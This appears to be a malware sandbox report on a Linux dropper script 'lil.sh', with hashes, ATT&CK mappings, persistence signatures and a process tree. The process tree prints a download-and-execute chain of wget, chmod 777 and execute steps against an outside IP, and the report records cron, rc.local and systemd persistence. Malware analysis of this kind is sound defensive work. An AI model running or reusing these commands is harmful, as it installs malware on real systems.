049eec47f9eeb59798b212ba4124ff65698b6c32cab8bc408d632feb5c79d0e2

Analysis

max time kernel
149s
max time network
141s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/07/2026, 06:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 844B
Sample260719-hdrbzagw41
SHA256 049eec47f9eeb59798b212ba4124ff65698b6c32cab8bc408d632feb5c79d0e2
MD5 e4360bfbc3ded2449283748d69a9915e
SHA1 f8bd33e5d2e59e8dbf30ad06242b33d1e4f48049
SHA512 b4a688cddb7d9294cde5e8bbc6bbd734a9c0fa329dcb5d3c1be5aacdc5dde0a6e39feae8fa04c7a11ec8f201d82b34f8437594098894a94f37c144b564a569df
TLSH
T141016FCDE150D50050A9D46D25975094FC70C3C7164B8B74BF6CA8799BA8E18F06AFF8
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
796	chmod
801	chmod
817	chmod
821	chmod
776	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/43Ob	778	lil.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	43Ob
File opened for modification	/etc/crontab	43Ob

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	43Ob

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	43Ob

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	43Ob

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/814/exe	43Ob
File opened for reading	/proc/876/exe	43Ob
File opened for reading	/proc/24/cmdline	43Ob
File opened for reading	/proc/878/exe	43Ob
File opened for reading	/proc/824/cmdline	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/166/exe	43Ob
File opened for reading	/proc/310/cmdline	43Ob
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/823/cmdline	43Ob
File opened for reading	/proc/825/exe	43Ob
File opened for reading	/proc/829/exe	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/74/cmdline	43Ob
File opened for reading	/proc/780/cmdline	43Ob
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/884/cmdline	43Ob
File opened for reading	/proc/817/cmdline	43Ob
File opened for reading	/proc/834/cmdline	43Ob
File opened for reading	/proc/1/cmdline	43Ob
File opened for reading	/proc/2/cmdline	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/564/exe	43Ob
File opened for reading	/proc/15/cmdline	43Ob
File opened for reading	/proc/288/cmdline	43Ob
File opened for reading	/proc/640/cmdline	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/869/cmdline	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/304/exe	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/21/cmdline	43Ob
File opened for reading	/proc/mounts	43Ob
File opened for reading	/proc/853/exe	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/766/exe	43Ob
File opened for reading	/proc/26/cmdline	43Ob
File opened for reading	/proc/806/cmdline	43Ob
File opened for reading	/proc/808/cmdline	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/305/exe	43Ob
File opened for reading	/proc/13/cmdline	43Ob
File opened for reading	/proc/564/cmdline	43Ob
File opened for reading	/proc/828/cmdline	43Ob
File opened for reading	/proc/842/cmdline	43Ob
File opened for reading	/proc/848/cmdline	43Ob
File opened for reading	/proc/890/exe	43Ob
File opened for reading	/proc/7/cmdline	43Ob
File opened for reading	/proc/583/cmdline	43Ob
File opened for reading	/proc/808/exe	43Ob
File opened for reading	/proc/862/exe	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/323/exe	43Ob
File opened for reading	/proc/42/cmdline	43Ob
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/43Ob	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:642
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:644
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:650
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  - Reads runtime system information
  PID:654
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  PID:659
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:662
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/133/exe
  2⤵
  PID:674
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/144/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/227/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/304/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/307/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/310/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/318/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/564/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/576/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/578/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/584/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/630/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/631/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:750
- /bin/ls
  ls -l /proc/96/exe
  2⤵
  PID:752
- /bin/rm
  rm -rf 43Ob
  2⤵
  PID:754
- /usr/bin/wget
  wget http://129.121.110.105/43Ob
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 43Ob
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/43Ob
  ./43Ob lilin
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:778
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:795
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:794
- /bin/rm
  rm -rf rU0
  2⤵
  PID:783
- /usr/bin/wget
  wget http://129.121.110.105/rU0
  2⤵
  PID:793
- /bin/chmod
  chmod 777 rU0
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/rU0
  ./rU0 lilin
  2⤵
  PID:797
- /bin/rm
  rm -rf c3cS
  2⤵
  PID:798
- /usr/bin/wget
  wget http://129.121.110.105/c3cS
  2⤵
  PID:799
- /bin/chmod
  chmod 777 c3cS
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/c3cS
  ./c3cS lilin
  2⤵
  PID:802
- /bin/rm
  rm -rf 0GE
  2⤵
  PID:803
- /usr/bin/wget
  wget http://129.121.110.105/0GE
  2⤵
  PID:811
- /bin/chmod
  chmod 777 0GE
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/0GE
  ./0GE lilin
  2⤵
  PID:818
- /bin/rm
  rm -rf Fz0
  2⤵
  PID:819
- /usr/bin/wget
  wget http://129.121.110.105/Fz0
  2⤵
  PID:820
- /bin/chmod
  chmod 777 Fz0
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/Fz0
  ./Fz0 lilin
  2⤵
  PID:822
- /bin/rm
  rm -rf lil
  2⤵
  PID:823

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 32B
SHA256 cd9d731389ee9746de9aea13bcd50105cf3314bfa235aa5abb7f7e647360b188
MD5 11ad28475deb9626d6a8750d91dc130d
SHA1 118466637f809f65731e1cb09ed3c7fbf54f75bf
SHA512 52e2facb85409e850e1d7c3981a67a632fe8b3667f8fec7386535f28bb805818b9d39fc1bc1237982c97aa699f13f71a70e62a4f2f1f67f402b40a8c9c579cc2
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 36B
SHA256 8117c0d108582007c846f5282fe08b79078428145eb97023ffc4f6bb9a324677
MD5 e874f2aabaa2baae19b91e66f1864283
SHA1 4f5e1f02599ebd4a11c28f8a87e22f117175722f
SHA512 2e9dff608791cf61c6d2b46b49bdf086d2af3be5bbf7c07ef5f22f3dfd3e6f06947ff84f8e78ea306e191db9a59dfddee7f1d8f1da170866aa1258186f9ef505
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 195B
SHA256 8368be1424139f09e8563e4f863c63bd2a3d21b67d393b9ef9b4e05af4e85e66
MD5 cda7735f0eb63a545f97e9413da5e1e6
SHA1 8a4750f3b7c2d6ad44f6b65efa23b3b718f7eb4c
SHA512 fbcd303696f7bf0e82916e34d1ef59ab2f64d3701fa85cd0577d52d58d1552f68ecad9774e72f18413ea24f17496896f1e84b7392823a4fcef12eaa67b3f57d5
TLSH
T16BD02223A52154A0894F29B2AEA62B488CA102001ACF92B00B9468291DF20EB5121DAE
MD5 SHA1 SHA512 TLSH

Submit Download

43Ob

Path /tmp/43Ob
Size 69KB
SHA256 892b2f08bef68739f3e4793db8f5d7c3467f8672c79a14d1d025679af46f9a5f
MD5 32e93327eece539021cecf5527a02a99
SHA1 d0220a3e01f9a5e63080d8668d5956d5d600ab71
SHA512 d45e10207f14ff8be1f739098c92bef00b8e2321f98d75fb5001acf6e6fdddba7ed8a32d3740dafd60f051fcaa59e9f5f1eeb4228c71cbdc66c325ff473481d9
SSDEEP 1536:XfjOjm6KLFw1rAyKsYe1NPSbAb1SjH/LO7RvmABWriZcP1FO1U4ISF:XfjOjmnFI0oVNu+1SL/acg0EE1FO1U4
TLSH
T191631A76B9818F26C1D52677FF1D8348335723B8E3EA7113EA156F6137CB82A0E2A541
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads